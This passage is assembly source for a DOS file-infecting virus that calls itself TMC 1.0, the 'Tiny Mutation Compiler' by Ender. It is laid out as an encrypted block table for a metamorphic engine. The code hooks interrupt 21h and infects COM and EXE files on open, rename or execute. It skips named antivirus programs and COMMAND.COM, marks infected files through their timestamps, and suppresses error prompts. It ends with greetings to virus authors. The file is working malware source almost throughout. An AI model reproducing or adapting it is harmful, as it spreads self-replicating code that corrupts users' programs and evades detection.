01h+10h ; One byte data db 00h ; Executable status db 11101111b ; End of block origin_code_ db 11101110b ; Beginning of block dw 1f40h ; Block identification of origin_c... db 03h+10h ; Three bytes data db 11000011b,00000010b dup(00h) db 11101111b ; End of block initial_cs_ db 11101110b ; Beginning of block dw 1389h ; Block identification of initial_cs_ db 02h+10h ; Two bytes data dw 0fff0h ; Initial CS relative to start of ... db 11101111b ; End of block initial_ss_ db 11101110b ; Beginning of block dw 138ah ; Block identification of initial_ss_ db 02h+10h ; Two bytes data dw 0fff0h ; Initial SS relative to start of ... db 11101111b ; End of block initial_ip_ db 11101110b ; Beginning of block dw 138bh ; Block identification of initial_ip_ db 02h+10h ; Two bytes data dw 100h ; Initial IP db 11101111b ; End of block incorrec_ip db 11101110b ; Beginning of block dw 1773h ; Block identification of incorrec_ip db 02h+10h ; Two bytes data dw 100h ; Incorrect IP db 11101111b ; End of block initial_sp_ db 11101110b ; Beginning of block dw 138ch ; Block identification of initial_sp_ db 02h+10h ; Two bytes data dw 0fffeh ; Initial SP db 11101111b ; End of block new_mcb_siz db 11101110b ; Beginning of block dw 1393h ; Block identification of new_mcb_siz db 02h+10h ; Two bytes data dw 1000h ; New size in paragraphs db 11101111b ; End of block mcb_size__ db 11101110b ; Beginning of block dw 1395h ; Block identification of mcb_size__ db 02h+10h ; Two bytes data dw 0ffffh ; Size of memory block in paragraphs db 11101111b ; End of block mcb_size___ db 11101110b ; Beginning of block dw 1394h ; Block identification of mcb_siz... db 02h+10h ; Two bytes data dw 00h ; Size of memory block in paragraphs db 11101111b ; End of block program_seg_ db 11101110b ; Beginning of block dw 0befh ; Block identification of program_... db 02h+10h ; Two bytes data dw 00h ; Segment of PSP for current process db 11101111b ; End of block virus_lengt db 11101110b ; Beginning of block dw 0bf0h ; Block identification of virus_lengt db 02h+10h ; Two bytes data dw 00h ; Length of virus db 11101111b ; End of block vir_exit_of db 11101110b ; Beginning of block dw 0bf1h ; Block identification of vir_exit_of db 02h+10h ; Two bytes data dw 00h ; Offset of virus_exit_ db 11101111b ; End of block tmc_table_ db 11101110b ; Beginning of block dw 4c5h ; Block identification of tmc_table_ db 11101111b ; End of block db 00h ; End of table second_table db 11101111b ; End of block virus_end: crypt_table db 11101110b ; Beginning of block dw 66h ; Block identification of crypt_table db 02h ; Two bytes instruction xor bp,bp ; BP = delta offset db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bfeh ; Pointer to crypt_table_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd4h ; Pointer to get_rnd_num_ db 03h ; Three bytes instruction mov ds:[1234h],al ; Store 8-bit encryption/decryptio... db 11101101b ; Data reference dw 0bd7h ; Pointer to crypt_key_ db 04h ; Four bytes instruction mov ds:[1234h],ah ; Store 8-bit sliding encryption/d... db 11101101b ; Data reference dw 0bd8h ; Pointer to sliding_key_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bfeh ; Pointer to crypt_table_ db 03h ; Three bytes instruction mov ax,3521h ; Get interrupt vector 21h db 02h ; Two bytes instruction int 21h db 03h ; Three bytes instruction mov di,1234h ; DI = offset of int21_jump db 11101101b ; Data reference dw 0c9h ; Pointer to int21_jump db 03h ; Three bytes instruction mov [di+01h],bx ; Store offset of interrupt 21h db 03h ; Three bytes instruction mov [di+03h],es ; Store segment of interrupt 21h db 03h ; Three bytes instruction mov dx,1234h ; DX = offset of int21_virus db 11101101b ; Data reference dw 0c8h ; Pointer to int21_virus db 03h ; Three bytes instruction mov ax,2521h ; Set interrupt vector 21h db 02h ; Two bytes instruction int 21h db 11101001b ; JMP imm16 (opcode 0e9h) dw 65h ; Pointer to virus_exit_ db 11101111b ; End of block crypt_table_ db 11101110b ; Beginning of block dw 0bfeh ; Block identification of crypt_ta... db 03h ; Three bytes instruction mov si,1234h ; SI = offset of tmc_table_ db 11101101b ; Data reference dw 4c5h ; Pointer to tmc_table_ db 03h ; Three bytes instruction mov cx,(code_end-first_table) db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bffh ; Pointer to crypt_loop db 11101111b ; End of block crypt_loop db 11101110b ; Beginning of block dw 0bffh ; Block identification of crypt_lo... db 02h ; Two bytes instruction xor [si],al ; Encrypt byte of table db 01h ; One byte instruction inc si ; Increase offset within table db 02h ; Two bytes instruction add al,ah ; Add 8-bit sliding encryption key... db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to crypt_loop dw 0bffh ; Pointer to crypt_loop db 01h ; One byte instruction ret ; Return db 11101111b ; End of block int21_virus db 11101110b ; Beginning of block dw 0c8h ; Block identification of int21_virus db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push bx ; Save BX at stack db 01h ; One byte instruction push cx ; Save CX at stack db 01h ; One byte instruction push dx ; Save DX at stack db 01h ; One byte instruction push si ; Save SI at stack db 01h ; One byte instruction push di ; Save DI at stack db 01h ; One byte instruction push ds ; Save DS at stack db 01h ; One byte instruction push es ; Save ES at stack db 01h ; One byte instruction cld ; Clear direction flag db 03h ; Three bytes instruction cmp ah,4bh ; Load and/or execute program? db 01110100b+10000000b ; Equal? Jump to find_zero dw 1392h ; Pointer to find_zero db 03h ; Three bytes instruction cmp ah,56h ; Rename file? db 01110100b+10000000b ; Equal? Jump to find_zero dw 1392h ; Pointer to find_zero db 03h ; Three bytes instruction cmp ah,3dh ; Open file? db 01110101b+10000000b ; Not equal? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 11101001b ; JMP imm16 (opcode 0e9h) dw 1392h ; Pointer to find_zero db 11101111b ; End of block find_zero db 11101110b ; Beginning of block dw 1392h ; Block identification of find_zero db 01h ; One byte instruction push ds ; Save DS at stack db 01h ; One byte instruction pop es ; Load ES from stack (DS) db 02h ; Two bytes instruction mov di,dx ; DI = offset of filename db 03h ; Three bytes instruction mov cx,43h ; CX = number of bytes to search t... db 02h ; Two bytes instruction xor al,al ; Zero AL db 02h ; Two bytes instruction repne scasb ; Find end of filename db 01110101b+10000000b ; Not equal? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction lea si,[di-05h] ; SI = offset of the dot in the fi... db 01h ; One byte instruction lodsw ; AX = two bytes of filename db 03h ; Three bytes instruction or ax,2020h ; Lowercase characters db 03h ; Three bytes instruction mov bx,'mo' ; COM executable db 03h ; Three bytes instruction cmp ax,'c.' ; COM executable? db 01110100b+10000000b ; Equal? Jump to examine_ext dw 0f0h ; Pointer to examine_ext db 03h ; Three bytes instruction mov bx,'ex' ; EXE executable db 03h ; Three bytes instruction cmp ax,'e.' ; EXE executable? db 01110100b+10000000b ; Equal? Jump to examine_ext dw 0f0h ; Pointer to examine_ext db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fbh ; Pointer to int21_exit db 11101111b ; End of block examine_ext db 11101110b ; Beginning of block dw 0f0h ; Block identification of examine_ext db 01h ; One byte instruction lodsw ; AX = two bytes of filename db 03h ; Three bytes instruction or ax,2020h ; Lowercase characters db 02h ; Two bytes instruction cmp ax,bx ; COM or EXE executable? db 01110101b+10000000b ; Not equal? Jump to examine_ext dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction sub si,04h ; SI = offset of the dot in the fi... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1398h ; Pointer to find_name db 11101111b ; End of block find_name db 11101110b ; Beginning of block dw 1398h ; Block identification of find_name db 01h ; One byte instruction dec si ; SI = offset within filename db 02h ; Two bytes instruction mov al,[si] ; AL = byte of filename db 02h ; Two bytes instruction cmp al,'/' ; Beginning of filename? db 01110100b+10000000b ; Equal? Jump to examine_name dw 1397h ; Pointer to examine_name db 02h ; Two bytes instruction cmp al,'\' ; Beginning of filename? db 01110100b+10000000b ; Equal? Jump to examine_name dw 1397h ; Pointer to examine_name db 02h ; Two bytes instruction cmp al,':' ; Beginning of filename? db 01110100b+10000000b ; Equal? Jump to examine_name dw 1397h ; Pointer to examine_name db 02h ; Two bytes instruction cmp si,dx ; Beginning of filename? db 01110111b+10000000b ; Above? Jump to find_name dw 1398h ; Pointer to find_name db 01h ; One byte instruction dec si ; SI = offset within filename db 11101001b ; JMP imm16 (opcode 0e9h) dw 1397h ; Pointer to examine_name db 11101111b ; End of block examine_name db 11101110b ; Beginning of block dw 1397h ; Block identification of examine_... db 01h ; One byte instruction inc si ; SI = offset of beginning of file... db 01h ; One byte instruction lodsw ; AX = two bytes of filename db 03h ; Three bytes instruction or ax,2020h ; Lowercase characters db 03h ; Three bytes instruction xor ax,0aa55h ; Encrypt two bytes of filename db 03h ; Three bytes instruction cmp ax,('ci' xor 0aa55h) db 01110100b+10000000b ; Equal? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('on' xor 0aa55h) db 01110100b+10000000b ; NOD-iCE? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('ew' xor 0aa55h) db 01110100b+10000000b ; Dr. Web? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('bt' xor 0aa55h) db 01110100b+10000000b ; ThunderByte Anti-Virus? Jump to ... dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('va' xor 0aa55h) db 01110100b+10000000b ; AntiViral Toolkit Pro? Jump to i... dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('-f' xor 0aa55h) db 01110100b+10000000b ; F-PROT? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('cs' xor 0aa55h) db 01110100b+10000000b ; McAfee ViruScan? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('oc' xor 0aa55h) db 01110100b+10000000b ; COMMAND.COM? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('iw' xor 0aa55h) db 01110100b+10000000b ; WIN.COM? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 03h ; Three bytes instruction cmp ax,('rk' xor 0aa55h) db 01110100b+10000000b ; Equal? Jump to int21_exit dw 0fbh ; Pointer to int21_exit db 02h ; Two bytes instruction mov cx,ds ; CX = segment of filename db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack db 03h ; Three bytes instruction mov ax,3524h ; Get interrupt vector 24h db 02h ; Two bytes instruction int 21h db 01h ; One byte instruction push es ; Save ES at stack db 01h ; One byte instruction push bx ; Save BX at stack db 01h ; One byte instruction push dx ; Save DX at stack db 03h ; Three bytes instruction mov dx,1234h ; DX = offset of int24_virus db 11101101b ; Data reference dw 1770h ; Pointer to int24_virus db 03h ; Three bytes instruction mov ax,2524h ; Set interrupt vector 24h db 02h ; Two bytes instruction int 21h db 01h ; One byte instruction pop dx ; Load DX from stack db 02h ; Two bytes instruction mov ds,cx ; DS = segment of filename db 02h ; Two bytes instruction mov es,cx ; ES = segment of filename db 03h ; Three bytes instruction mov ax,3d02h ; Open file (read/write) db 03h ; Three bytes instruction mov bx,1234h ; BX = offset of int21_jump db 11101101b ; Data reference dw 0c9h ; Pointer to int21_jump db 01h ; One byte instruction inc bx ; BX = offset of address of interr... db 01h ; One byte instruction pushf ; Save flags at stack db 03h ; Three bytes instruction call dword ptr cs:[bx] db 01110010b+10000000b ; Error? Jump to int24_store dw 1771h ; Pointer to int24_store db 02h ; Two bytes instruction mov bx,ax ; BX = file handle db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack (CS) db 03h ; Three bytes instruction mov ax,5700h ; Get file's date and time db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 04h ; Four bytes instruction mov ds:[1234h],dx ; Store file's date db 11101101b ; Data reference dw 12dh ; Pointer to file_date db 02h ; Two bytes instruction mov al,cl ; AL = low-order byte of file time db 02h ; Two bytes instruction and al,00011111b ; AL = file seconds db 02h ; Two bytes instruction cmp al,00000100b ; Already infected (8 seconds)? db 01110100b+10000000b ; Equal? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction and cl,11100000b ; Zero file seconds db 03h ; Three bytes instruction or cl,00000100b ; Set infection mark (8 seconds) db 04h ; Four bytes instruction mov ds:[1234h],cx ; Store file's time db 11101101b ; Data reference dw 12ch ; Pointer to file_time db 02h ; Two bytes instruction mov ah,3fh ; Read from file db 03h ; Three bytes instruction mov cx,03h ; Read three bytes db 03h ; Three bytes instruction mov dx,1234h ; DX = offset of origin_code_ db 11101101b ; Data reference dw 1f40h ; Pointer to origin_code_ db 02h ; Two bytes instruction mov si,dx ; SI = offset of origin_code_ db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 01h ; One byte instruction lodsw ; AX = EXE signature db 03h ; Three bytes instruction cmp ax,'ZM' ; EXE signature? db 01110100b+10000000b ; Equal? Jump to infect_exe dw 138dh ; Pointer to infect_exe db 03h ; Three bytes instruction cmp ax,'MZ' ; EXE signature? db 01110100b+10000000b ; Equal? Jump to infect_exe dw 138dh ; Pointer to infect_exe db 03h ; Three bytes instruction mov si,1234h ; SI = offset of initial_cs_ db 11101101b ; Data reference dw 1389h ; Pointer to initial_cs_ db 04h ; Four bytes instruction mov [si],0fff0h ; Store initial CS relative to sta... db 03h ; Three bytes instruction mov si,1234h ; SI = offset of initial_ss_ db 11101101b ; Data reference dw 138ah ; Pointer to initial_ss_ db 04h ; Four bytes instruction mov [si],0fff0h ; Store initial SS relative to sta... db 03h ; Three bytes instruction mov si,1234h ; SI = offset of initial_ip_ db 11101101b ; Data reference dw 138bh ; Pointer to initial IP db 04h ; Four bytes instruction mov [si],100h ; Store initial IP db 03h ; Three bytes instruction mov si,1234h ; SI = offset of initial_sp_ db 11101101b ; Data reference dw 138ch ; Pointer to initial_sp_ db 04h ; Four bytes instruction mov [si],0fffeh ; Store initial SP db 03h ; Three bytes instruction mov si,1234h ; SI = offset of mcb_size__ db 11101101b ; Data reference dw 1395h ; Pointer to mcb_size__ db 04h ; Four bytes instruction mov [si],0ffffh ; Store size of memory block in pa... db 03h ; Three bytes instruction mov si,1234h ; SI = offset of new_mcb_siz db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 04h ; Four bytes instruction mov [si],1000h ; Store new size in paragraphs db 02h ; Two bytes instruction mov al,00h ; COM executable db 03h ; Three bytes instruction mov ds:[1234h],al ; Store executable status db 11101101b ; Data reference dw 1388h ; Pointer to executa_sta db 03h ; Three bytes instruction mov ax,4202h ; Set current file position (EOF) db 02h ; Two bytes instruction xor cx,cx ; CX = high-order word of offset f... db 02h ; Two bytes instruction xor dx,dx ; DX = low-order word of offset f... db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction cmp ax,0e000h ; Filesize too large? db 01110111b+10000000b ; Above? Jump to close_file dw 0fah ; Pointer to close_file db 01h ; One byte instruction push ax ; Save AX at stack db 03h ; Three bytes instruction add ax,100h ; AX = delta offset db 03h ; Three bytes instruction mov ds:[01h],ax ; Store delta offset db 02h ; Two bytes instruction mov ah,40h ; Write to file db 02h ; Two bytes instruction xor dx,dx ; Zero DX db 03h ; Three bytes instruction mov cx,1234h ; CX = length of virus db 11101101b ; Data reference dw 66h ; Pointer to virus_end db 02h ; Two bytes instruction int 21h db 01h ; One byte instruction pop ax ; Load AX from stack db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 01h ; One byte instruction push ax ; Save AX at stack db 03h ; Three bytes instruction mov ax,4200h ; Set current file position (SOF) db 02h ; Two bytes instruction xor cx,cx ; CX = high-order word of offset f... db 02h ; Two bytes instruction xor dx,dx ; DX = low-order word of offset fr... db 02h ; Two bytes instruction int 21h db 01h ; One byte instruction pop ax ; Load AX from stack db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction mov di,1234h ; DI = offset of origin_code_ db 11101101b ; Data reference dw 1f40h ; Pointer to origin_code_ db 02h ; Two bytes instruction mov dx,di ; DX = offset of origin_code_ db 03h ; Three bytes instruction mov byte ptr [di],11101001b db 03h ; Three bytes instruction sub ax,03h ; AX = offset of virus within infe... db 03h ; Three bytes instruction mov [di+01h],ax ; Store offset of virus within inf... db 03h ; Three bytes instruction mov cx,03h ; Write three bytes db 02h ; Two bytes instruction mov ah,40h ; Write to file db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 11101001b ; JMP imm16 (opcode 0e9h) dw 138eh ; Pointer to set_file_inf db 11101111b ; End of block set_file_inf db 11101110b ; Beginning of block dw 138eh ; Block identification of set_file... db 03h ; Three bytes instruction mov ax,5701h ; Set file's date and time db 04h ; Four bytes instruction mov cx,ds:[1234h] ; CX = new time db 11101101b ; Data reference dw 12ch ; Pointer to file_time db 04h ; Four bytes instruction mov dx,ds:[1234h] ; DX = new date db 11101101b ; Data reference dw 12dh ; Pointer to file_date db 02h ; Two bytes instruction int 21h db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fah ; Block identification of close_file db 11101111b ; End of block close_file db 11101110b ; Beginning of block dw 0fah ; Block identification of close_file db 02h ; Two bytes instruction mov ah,3eh ; Close file db 02h ; Two bytes instruction int 21h db 11101001b ; JMP imm16 (opcode 0e9h) dw 1771h ; Pointer to int24_store db 11101111b ; End of block int24_store db 11101110b ; Beginning of block dw 1771h ; Block identification of int24_store db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction pop ds ; Load DS from stack db 03h ; Three bytes instruction mov ax,2524h ; Set interrupt vector 21h db 02h ; Two bytes instruction int 21h db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fbh ; Pointer to int21_exit db 11101111b ; End of block int21_exit db 11101110b ; Beginning of block dw 0fbh ; Block identification of int21_exit db 01h ; One byte instruction pop es ; Load ES from stack db 01h ; One byte instruction pop ds ; Load DS from stack db 01h ; One byte instruction pop di ; Load DI from stack db 01h ; One byte instruction pop si ; Load SI from stack db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction pop cx ; Load CX from stack db 01h ; One byte instruction pop bx ; Load BX from stack db 01h ; One byte instruction pop ax ; Load aX from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0c9h ; Pointer to int21_jump db 11101111b ; End of block int21_jump db 11101110b ; Beginning of block dw 0c9h ; Block identification of int21_jump db 05h+10h ; Five bytes data db 11101010b ; JMP imm32 (opcode 0eah) dd 00h ; address of interrupt 21h db 11101111b ; End of block infect_exe db 11101110b ; Beginning of block dw 138dh ; Block identification of infect_exe db 02h ; Two bytes instruction mov al,01h ; EXE executable db 03h ; Three bytes instruction mov ds:[1234h],al ; Store executable status db 11101101b ; Data reference dw 1388h ; Pointer to executa_sta db 03h ; Three bytes instruction mov ax,4200h ; Set current file position (SOF) db 02h ; Two bytes instruction xor cx,cx ; CX = high-order word of offset f... db 02h ; Two bytes instruction xor dx,dx ; CX = low-order word of offset fi... db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 02h ; Two bytes instruction mov ah,3fh ; Read from file db 03h ; Three bytes instruction mov cx,18h ; Read twenty-four bytes db 03h ; Three bytes instruction mov dx,1234h ; DX = offset of exe_header db 11101101b ; Data reference dw 138fh ; Pointer to exe_header db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction mov si,1234h ; SI = offset of exe_header db 11101101b ; Data reference dw 138fh ; Pointer to exe_header db 02h ; Two bytes instruction xor ax,ax ; Zero AX db 04h ; Four bytes instruction cmp [si+0ch],0ffffh ; Maximum paragraphs to allocate ...? db 01110100b+10000000b ; Equal? Jump to maximum_mem dw 1399h ; Pointer to maximum_mem db 03h ; Three bytes instruction mov ax,[si+04h] ; AX = total number of 512-byte pa... db 01h ; One byte instruction inc ax ; Increase total number of 512-byt... db 02h ; Two bytes instruction mov cl,05h ; Divide by thirty-two db 02h ; Two bytes instruction shl ax,cl ; AX = total number of 512-byte pa... db 03h ; Three bytes instruction sub ax,[si+08h] ; Subtract header size in paragrap... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1399h ; Pointer to maximum_mem db 11101111b ; End of block maximum_mem db 11101110b ; Beginning of block dw 1399h ; Block identification of maximum_mem db 03h ; Three bytes instruction add ax,[si+0ch] ; Add maximum paragraphs to alloca... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store size of memory block in pa... db 11101101b ; Data reference dw 1395h ; Pointer to mcb_size__ db 03h ; Three bytes instruction mov ax,[si+0eh] ; AX = initial SS relative to star... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial SS relative to sta... db 11101101b ; Data reference dw 138ah ; Pointer to initial_ss_ db 03h ; Three bytes instruction mov ax,[si+10h] ; AX = initial SP db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial SP db 11101101b ; Data reference dw 138ch ; Pointer to initial_sp_ db 03h ; Three bytes instruction mov ax,[si+14h] ; AX = initial IP db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial IP db 11101101b ; Data reference dw 138bh ; Pointer to initial_ip_ db 03h ; Three bytes instruction mov ax,[si+16h] ; AX = initial CS relative to star... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial CS relative to sta... db 11101101b ; Data reference dw 1389h ; Pointer to initial_cs_ db 03h ; Three bytes instruction mov ax,14h ; AX = probability of storing inco... db 04h ; Four bytes instruction cmp ds:[1234h],ax ; Store incorrect IP? db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 01110111b+10000000b ; Above? Jump to set_file_pos dw 1775h ; Pointer to set_file_pos db 01h ; One byte instruction push bp ; Save BP at stack db 01h ; One byte instruction push ds ; Save DS at stack db 01h ; One byte instruction pop es ; Load ES from stack (DS) db 03h ; Three bytes instruction mov bp,40h ; Random number within sixty-four db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd5h ; Pointer to rnd_in_rang db 01h ; One byte instruction pop bp ; Load BP from stack db 03h ; Three bytes instruction add ax,[si+14h] ; Add initial IP to random number ... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store incorrect IP db 11101101b ; Data reference dw 1773h ; Pointer to incorrec_ip db 11101001b ; JMP imm16 (opcode 0e9h) dw 1775h ; Pointer to set_file_pos db 11101111b ; End of block set_file_pos db 11101110b ; Beginning of block dw 1775h ; Block identification of set_file... db 03h ; Three bytes instruction mov ax,4202h ; Set current file position (EOF) db 02h ; Two bytes instruction xor cx,cx ; CX = high-order word of offset f... db 02h ; Two bytes instruction xor dx,dx ; DX = high-order word of offset f... db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction cmp dx,06h ; Filesize too large? db 01110111b+10000000b ; Above? Jump to write_virus dw 0fah ; Pointer to close_file db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push dx ; Save DX at stack db 03h ; Three bytes instruction mov cx,200h ; Divide by pages db 02h ; Two bytes instruction div cx ; DX:AX = filesize in pages db 01h ; One byte instruction inc ax ; Increase total number of 512-byt... db 03h ; Three bytes instruction cmp [si+04h],ax ; Internal overlay? db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 01110101b+10000000b ; Not equal? Jump to close_file dw 0fah ; Pointer to close_file db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push dx ; Save DX at stack db 05h ; Five bytes instruction mov [si+0ch],0ffffh ; Store maximum paragraphs to allo... db 05h ; Five bytes instruction mov [si+10h],7ffeh ; Store initial SP db 05h ; Five bytes instruction mov word ptr [si+14h],00h db 03h ; Three bytes instruction mov cx,10h ; Divide by paragraphs db 02h ; Two bytes instruction div cx ; DX:AX = filesize in paragraphs db 03h ; Three bytes instruction sub ax,[si+08h] ; Subtract header size in paragrap... db 01h ; One byte instruction inc ax ; Increase initial CS/SS relative ... db 03h ; Three bytes instruction mov [si+0eh],ax ; Store initial SS relative to sta... db 03h ; Three bytes instruction mov [si+16h],ax ; Store initial CS relative to sta... db 03h ; Three bytes instruction mov ax,[si+04h] ; AX = total number of 512-byte pa... db 01h ; One byte instruction inc ax ; Increase total number of 512-byt... db 02h ; Two bytes instruction mov cl,05h ; Divide by thirty-two db 02h ; Two bytes instruction shl ax,cl ; AX = total number of 512-byte pa... db 03h ; Three bytes instruction sub ax,[si+08h] ; Subtract header size in paragrap... db 03h ; Three bytes instruction add ax,[si+0ah] ; Add maximum paragraphs to alloca... db 02h ; Two bytes instruction mov di,ax ; DI = minimum paragraphs to alloc... db 01h ; One byte instruction pop cx ; Load CX from stack (DX) db 01h ; One byte instruction pop dx ; Load DX from stack (AX) db 03h ; Three bytes instruction and dx,1111111111110000b db 03h ; Three bytes instruction add dx,10h ; DX = low-order word of offset fr... db 03h ; Three bytes instruction adc cx,00h ; CX = high-order word of offset f... db 03h ; Three bytes instruction mov ax,4200h ; Set current file position (SOF) db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction add ax,1234h ; AX = length of virus db 11101101b ; Data reference dw 66h ; Pointer to virus_end db 03h ; Three bytes instruction adc dx,00h ; Convert to 32-bit db 03h ; Three bytes instruction mov cx,200h ; Divide by pages db 02h ; Two bytes instruction div cx ; DX:AX = filesize in pages db 03h ; Three bytes instruction mov [si+02h],dx ; Store number of bytes in last 51... db 01h ; One byte instruction inc ax ; Increase total number of 512-byt... db 03h ; Three bytes instruction mov [si+04h],ax ; Store total number of 512-byte p... db 05h ; Five bytes instruction mov [si+0ah],800h ; Store minimum paragraphs of memo... db 01h ; One byte instruction inc ax ; Store total number of 512-byte p... db 02h ; Two bytes instruction mov cl,05h ; Divide by thirty-two db 02h ; Two bytes instruction shl ax,cl ; AX = total number of 512-byte pa... db 03h ; Three bytes instruction sub ax,[si+08h] ; Subtract header size in paragrap... db 03h ; Three bytes instruction add ax,[si+0ah] ; Add maximum paragraphs to alloca... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store new size in paragraphs db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 02h ; Two bytes instruction sub di,ax ; DI = additional minimum paragrap... db 01110110b+10000000b ; Below or equal? Jump to dont_add... dw 1396h ; Pointer to dont_add_mem db 03h ; Three bytes instruction add [si+0ah],di ; Add additional minimum paragraph... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1396h ; Pointer to dont_add_mem db 11101111b ; End of block dont_add_mem db 11101110b ; Beginning of block dw 1396h ; Block identification of dont_add... db 06h ; Six bytes instruction mov word ptr ds:[01h],00h db 02h ; Two bytes instruction mov ah,40h ; Write to file db 02h ; Two bytes instruction xor dx,dx ; Zero DX db 03h ; Three bytes instruction mov cx,1234h ; CX = length of virus db 11101101b ; Data reference dw 66h ; Pointer to virus_end db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 02h ; Two bytes instruction xor cx,cx ; CX = high-order word of offset f... db 02h ; Two bytes instruction xor dx,dx ; DX = low-order word of offset f... db 03h ; Three bytes instruction mov ax,4200h ; Set current file position (SOF) db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 02h ; Two bytes instruction mov ah,40h ; Write to file db 02h ; Two bytes instruction mov dx,si ; DX = offset of exe_header db 03h ; Three bytes instruction mov cx,18h ; Write twenty-four bytes db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 11101001b ; JMP imm16 (opcode 0e9h) dw 138eh ; Pointer to set_file_inf db 11101111b ; End of block int24_virus db 11101110b ; Beginning of block dw 1770h ; Block identification of int24_virus db 02h ; Two bytes instruction mov al,03h ; Fail system call in progress db 01h ; One byte instruction iret ; Interrupt return db 11101111b ; End of block exe_header db 11101110b ; Beginning of block dw 138fh ; Block identification of exe_header db 18h+10h ; Twenty-four bytes data db 18h dup(00h) ; EXE header db 11101111b ; End of block file_time db 11101110b ; Beginning of block dw 12ch ; Block identification of file_time db 02h+10h ; Two bytes data dw 00h ; File time db 11101111b ; End of block file_date db 11101110b ; Beginning of block dw 12dh ; Block identification of file_date db 02h+10h ; Two bytes data dw 00h ; File date db 11101111b ; End of block message db 11101110b ; Beginning of block dw 2328h ; Block identification of message db (message_end-messag_begin)+10h messag_begin db 0dh,0ah db 0dh,0ah db 'ў TMC 1.0 by Ender from Slovakia ў',0dh,0ah db 'Welcome to the Tiny Mutation Compiler!',0dh,0ah db 'Dis is level 42.',0dh,0ah db 'Greetings to virus makers: Dark Avenger, Vyvojar, Hell Angel',0dh,0ah db 'Personal greetings: K. K., Dark Punisher',0dh,0ah db 0dh,0ah message_end: db 11101111b ; End of block db 00h ; End of table code_end: table_end: end code_begin